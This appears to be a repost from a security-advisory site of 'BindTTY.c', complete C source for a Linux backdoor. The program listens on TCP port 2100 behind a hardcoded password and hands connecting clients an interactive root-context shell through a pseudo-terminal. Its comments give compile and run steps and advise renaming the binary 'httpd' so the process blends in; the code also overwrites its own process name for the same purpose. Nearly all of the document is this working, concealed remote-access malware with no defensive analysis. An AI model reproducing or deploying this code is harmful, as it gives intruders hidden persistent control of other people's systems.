Summary
The following is an example of backdoor that creates a remote connection for tty's and allows attackers to login into the system without a need for a real user and password.

Credit:
The information has been provided by Ijoo Keren.
The original article can be found at: http://www.geocities.com/ijookeren/bind.txt

Details
Exploit:
/*
BindTTY.c
CreaTed By someONE
i just ModiFY..
Open TelnET with PasSWord,
Stealth BAckGround Proses..

- MoDiFy By iJOo -

compiled with : gcc -o bind.c bind
just simple run ./bind
for more 'secure'
1. mv bind httpd
2. ./httpd
3. ps -A
Can u See Your BackDoor? ^^
4. but i dont know how to hide in /etc/services?
SomeONE know?
*/

#define HOME "/"
#define TIOCSCTTY 0x540E
#define TIOCGWINSZ 0x5413
#define TIOCSWINSZ 0x5414
#define ECHAR 0x1d
#define PORT 2100
#define BUF 32768
#define proc "/usr/sbin/httpd" /*Change this for Fake BG proces */
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <fcntl.h>
struct winsize {
unsigned short ws_row;
unsigned short ws_col;
unsigned short ws_xpixel;
unsigned short ws_ypixel;
};
int sc;
char passwd[] = "password"; /* Change The password */
char motd[] ="=- iJoo PriVAte BaCkd00r -=\n";
void cb_shell() {
char buffer[150];
write(sc, "Password: ", 10);
read(sc, buffer, sizeof(buffer));
if (!strncmp(buffer, passwd, strlen(passwd))) {
write(sc, motd, sizeof(motd));
}
else {
write(sc, "DiE!!!\n", 7);
close(sc); exit(0);
}
}
/* creates tty/pty name by index */
void get_tty(int num, char *base, char *buf)
{
char series[] = "pqrstuvwxyzabcde";
char subs[] = "0123456789abcdef";
int pos = strlen(base);
strcpy(buf, base);
buf[pos] = series[(num >> 4) & 0xF];
buf[pos+1] = subs[num & 0xF];
buf[pos+2] = 0;
}
/* search for free pty and open it */
int open_tty(int *tty, int *pty)
{
char buf[512];
int i, fd;
fd = open("/dev/ptmx", O_RDWR);
close(fd);
for (i=0; i < 256; i++) {
get_tty(i, "/dev/pty", buf);
*pty = open(buf, O_RDWR);
if (*pty < 0) continue;
get_tty(i, "/dev/tty", buf);
*tty = open(buf, O_RDWR);
if (*tty < 0) {
close(*pty);
continue;
}
return 1;
}
return 0;
}

/* to avoid creating zombies ;) */
void sig_child(int i)
{
signal(SIGCHLD, sig_child);
waitpid(-1, NULL, WNOHANG);
}
void hangout(int i)
{
kill(0, SIGHUP);
kill(0, SIGTERM);
}
int main (int argc, char *argv[])
{
int pid;
struct sockaddr_in serv;
struct sockaddr_in cli;
int sock;
char cmd[256];
strcpy (argv[0], proc);
signal (SIGCHLD, SIG_IGN);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
perror("socket");
return 1;
}
bzero((char *) &serv, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
serv.sin_port = htons(PORT);
if (bind(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0) {
perror("bind");
return 1;
}
if (listen(sock, 5) < 0) {
perror("listen");
return 1;
}
printf("ijooBIND is starting..."); fflush(stdout);
pid = fork();
if (pid !=0 ) {
printf("OK, pid = %d\n", pid);
printf("#malanghackerlink Private BackD00r..\n");
return 0;
}
/* daemonize */
setsid();
chdir("/");
pid = open("/dev/null", O_RDWR);
dup2(pid, 0);
dup2(pid, 1);
dup2(pid, 2);
close(pid);
signal(SIGHUP, SIG_IGN);
signal(SIGCHLD, sig_child);
while (1) {
int scli;
int slen;
slen = sizeof(cli);
scli = accept(sock, (struct sockaddr *) &cli, &slen);
if (scli < 0) continue;
pid = fork();
if (pid == 0) {
int subshell;
int tty;
int pty;
fd_set fds;
char buf[BUF];
char *argv[] = {"sh", "-i", NULL};
#define MAXENV 256
#define ENVLEN 256
char *envp[MAXENV];
char envbuf[(MAXENV+2) * ENVLEN];
int j, i;
char home[256];
/* setup enviroment */
envp[0] = home;
sprintf(home, "HOME=%s", HOME);
j = 0;
do {
i = read(scli, &envbuf[j * ENVLEN], ENVLEN);
envp[j+1] = &envbuf[j * ENVLEN];
j++;
if ((j >= MAXENV) || (i < ENVLEN)) break;
} while (envbuf[(j-1) * ENVLEN] != '\n');
envp[j+1] = NULL;
/* create new group */
setpgid(0, 0);
/* open slave & master side of tty */
if (!open_tty(&tty, &pty)) {
char msg[] = "Can't fork pty, bye!\n";
write(scli, msg, strlen(msg));
close(scli);
exit(0);
}
/* fork child */
subshell = fork();
if (subshell == 0) {
/* close master */
close(pty);
/* attach tty */
setsid();
ioctl(tty, TIOCSCTTY);
/* close local part of connection */
close(scli);
close(sock);
signal(SIGHUP, SIG_DFL);
signal(SIGCHLD, SIG_DFL);
dup2(tty, 0);
dup2(tty, 1);
dup2(tty, 2);
close(tty);
cb_shell();
execve("/bin/sh", argv, envp);
}
/* close slave */
close(tty);
signal(SIGHUP, hangout);
signal(SIGTERM, hangout);
while (1) {
/* watch tty and client side */
FD_ZERO(&fds);
FD_SET(pty, &fds);
FD_SET(scli, &fds);
if (select((pty > scli) ? (pty+1) : (scli+1),
&fds, NULL, NULL, NULL) < 0)
{
break;
}
if (FD_ISSET(pty, &fds)) {
int count;
count = read(pty, buf, BUF);
if (count <= 0) break;
if (write(scli, buf, count) <= 0) break;
}
if (FD_ISSET(scli, &fds)) {
int count;
unsigned char *p, *d;
d = buf;
count = read(scli, buf, BUF);
if (count <= 0) break;
/* setup win size */
p = memchr(buf, ECHAR, count);
if (p) {
unsigned char wb[5];
int rlen = count - ((ulong) p - (ulong) buf);
struct winsize ws;
/* wait for rest */
if (rlen > 5) rlen = 5;
memcpy(wb, p, rlen);
if (rlen < 5) {
read(scli, &wb[rlen], 5 - rlen);
}
/* setup window */
ws.ws_xpixel = ws.ws_ypixel = 0;
ws.ws_col = (wb[1] << 8) + wb[2];
ws.ws_row = (wb[3] << 8) + wb[4];
ioctl(pty, TIOCSWINSZ, &ws);
kill(0, SIGWINCH);
/* write the rest */
write(pty, buf, (ulong) p - (ulong) buf);
rlen = ((ulong) buf + count) - ((ulong)p+5);
if (rlen > 0) write(pty, p+5, rlen);
} else
if (write(pty, d, count) <= 0) break;
}
}
close(scli);
close(sock);
close(pty);
waitpid(subshell, NULL, 0);
vhangup();
exit(0);
}
close(scli);
}
}